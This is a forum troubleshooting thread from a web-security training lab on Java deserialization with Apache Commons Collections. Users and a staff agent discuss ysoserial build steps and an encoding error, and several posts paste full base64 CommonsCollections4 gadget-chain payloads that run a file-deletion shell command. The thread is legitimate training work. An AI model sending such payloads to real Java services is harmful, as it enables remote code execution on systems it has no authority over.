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Lab - Exploiting Java deserialization with Apache Commons

Mauro | Last updated: Jul 24, 2020 03:20PM UTC

Hi! I'm trying to solve this lab (Exploiting Java deserialization with Apache Commons) but i can't. First, i tried with ysoserial (like in the description of the lab is told) but when i send the request i get a 200 Ok response but whith this inside: java.io.StreamCorruptedException: invalid handle value: 00400053 After that, i tried with de serialized object that appears in the solution but i get the same error. Has anyone solved this lab? Thanks!

Uthman, PortSwigger Agent | Last updated: Jul 27, 2020 09:51AM UTC

If you believe there could be an issue with the lab, please send us screenshots to support@portswigger.net Are you using the official solution? What steps have you completed so far?

ShiftingPoint | Last updated: Jul 30, 2020 04:05AM UTC

Hello, I have the same issue with this lab. I even tried all collection types in ysoserial. No one gives the base64 showed in your solution. I can't attach screens, but I can show the outputs. So for java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 the output is rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+khtA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGphdmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABq7K/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAacm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAyADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXI2MDU2MDIxNzE0Njc2MgEAH0x5c29zZXJpYWwvUHduZXI2MDU2MDIxNzE0Njc2MjsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA2AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AB8AAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAOgAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXEAfgApeA== Even when I tried using openssl base64, there was the same issue: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' > test openssl base64 -in test rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6 ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IA Qm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJh bnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjMAgACTAAJZGVjb3JhdGVkcQB+AAFM AAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0 L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9u czQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhw c3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hh aW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xv cmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIA LltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zNC5UcmFuc2Zvcm1lcjs5 gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlv 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Uthman, PortSwigger Agent | Last updated: Jul 30, 2020 11:24AM UTC

What is the output of the below? java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

ShiftingPoint | Last updated: Jul 31, 2020 02:08PM UTC

I've showed below, the output is: rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9u cy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjM AgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMv Y29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0 aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29y Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVy MMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVj dGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25z NC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29s bGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25z dGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5p bnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUu Y29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+k htA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGph dmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFz cgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVz SW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVj b2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFf b3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tb Qkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABq7K/rq+AAAAMgA5CgADACIH ADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4B AAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRh YmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2Vy aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9z dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxl cjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0 Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2Vy aWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3Vu L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUv eG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv aW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1 TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdo YW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJp YWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5 c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20v c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5z bGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50 ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9H YWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUo KUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAacm0gL2hvbWUvY2FybG9zL21vcmFsZS50 eHQIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAy ADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXI3MTMxNzA4MDA1MTY3NAEA H0x5c29zZXJpYWwvUHduZXI3MTMxNzA4MDA1MTY3NDsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAA AgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEA AAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAzAA4AAAAgAAMA AAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAE AAAAAbEAAAACAA0AAAAGAAEAAAA2AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAd AAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1 V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AB8AAAHUyv66vgAA ADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVl BXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2Fs VmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3Bh eWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgAL BwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2Jq ZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRn ZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3 AAGxAAAAAgANAAAABgABAAAAOgAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQAC ABYAEAAJcHQABFB3bnJwdwEAeHVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAA AXZyAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlcwAAAAAAAAAAAAAAeHB3BAAAAANzcgAR amF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKG rJUdC5TgiwIAAHhwAAAAAXEAfgApeA==

Uthman, PortSwigger Agent | Last updated: Jul 31, 2020 02:40PM UTC

Can you share the output of the steps below? 1. Clone the repository from GitHub: https://github.com/frohoff/ysoserial.git 2. Edit the pom.xml file source/target compatibility from 1.6 to 1.7 here: <!-- maximize compatibility --> <source>1.6</source> <target>1.6</target> 3. Run mvn clean package -DskipTests at your terminal/command prompt - you need to make sure that Maven is installed on your machine. This should create a new directory within the cloned one called 'target'. This will contain the actual JAR. 4. Download and install AdoptOpenJDK8. This is the only java version I could use to make it work. I used 11, 13, and 14 but ran into some issues. 5. Run the command ysoserial command from the target directory in the repo: java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64

ShiftingPoint | Last updated: Jul 31, 2020 10:46PM UTC

Done, the output is the same, lol: rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBh cmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAQm9yZy5hcGFjaGUuY29tbW9u cy5jb2xsZWN0aW9uczQuY29tcGFyYXRvcnMuVHJhbnNmb3JtaW5nQ29tcGFyYXRvci/5hPArsQjM AgACTAAJZGVjb3JhdGVkcQB+AAFMAAt0cmFuc2Zvcm1lcnQALUxvcmcvYXBhY2hlL2NvbW1vbnMv Y29sbGVjdGlvbnM0L1RyYW5zZm9ybWVyO3hwc3IAQG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0 aW9uczQuY29tcGFyYXRvcnMuQ29tcGFyYWJsZUNvbXBhcmF0b3L79JkluG6xNwIAAHhwc3IAO29y Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVy MMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAuW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVj dGlvbnM0L1RyYW5zZm9ybWVyO3hwdXIALltMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25z NC5UcmFuc2Zvcm1lcjs5gTr7CNo/pQIAAHhwAAAAAnNyADxvcmcuYXBhY2hlLmNvbW1vbnMuY29s bGVjdGlvbnM0LmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25z dGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5p bnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAP29yZy5hcGFjaGUu Y29tbW9ucy5jb2xsZWN0aW9uczQuZnVuY3RvcnMuSW5zdGFudGlhdGVUcmFuc2Zvcm1lcjSL9H+k htA7AgACWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7WwALaVBhcmFtVHlwZXN0ABJbTGph dmEvbGFuZy9DbGFzczt4cHVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFz cgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVz SW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVj b2Rlc3QAA1tbQlsABl9jbGFzc3EAfgAUTAAFX25hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABFf b3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tb Qkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABq7K/rq+AAAAMwA5CgADACIH ADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4B AAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRh YmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2Vy aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9y bQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9z dW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxl cjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0 Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2Vy aWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3Vu L29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUv eG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwv aW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1 TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdo YW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJp YWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5 c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20v c3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5z bGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50 ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9H YWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUo KUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAacm0gL2hvbWUvY2FybG9zL21vcmFsZS50 eHQIADABAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAy ADMKACsANAEADVN0YWNrTWFwVGFibGUBAB15c29zZXJpYWwvUHduZXI4NDk4NjI5NzU5NTE0NQEA H0x5c29zZXJpYWwvUHduZXI4NDk4NjI5NzU5NTE0NTsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAA AgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEA AAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMA AAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAE AAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAd AAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1 V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+AB8AAAHUyv66vgAA ADMAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVl BXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2Fs VmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3Bh eWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgAL BwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2Jq ZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRn ZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3 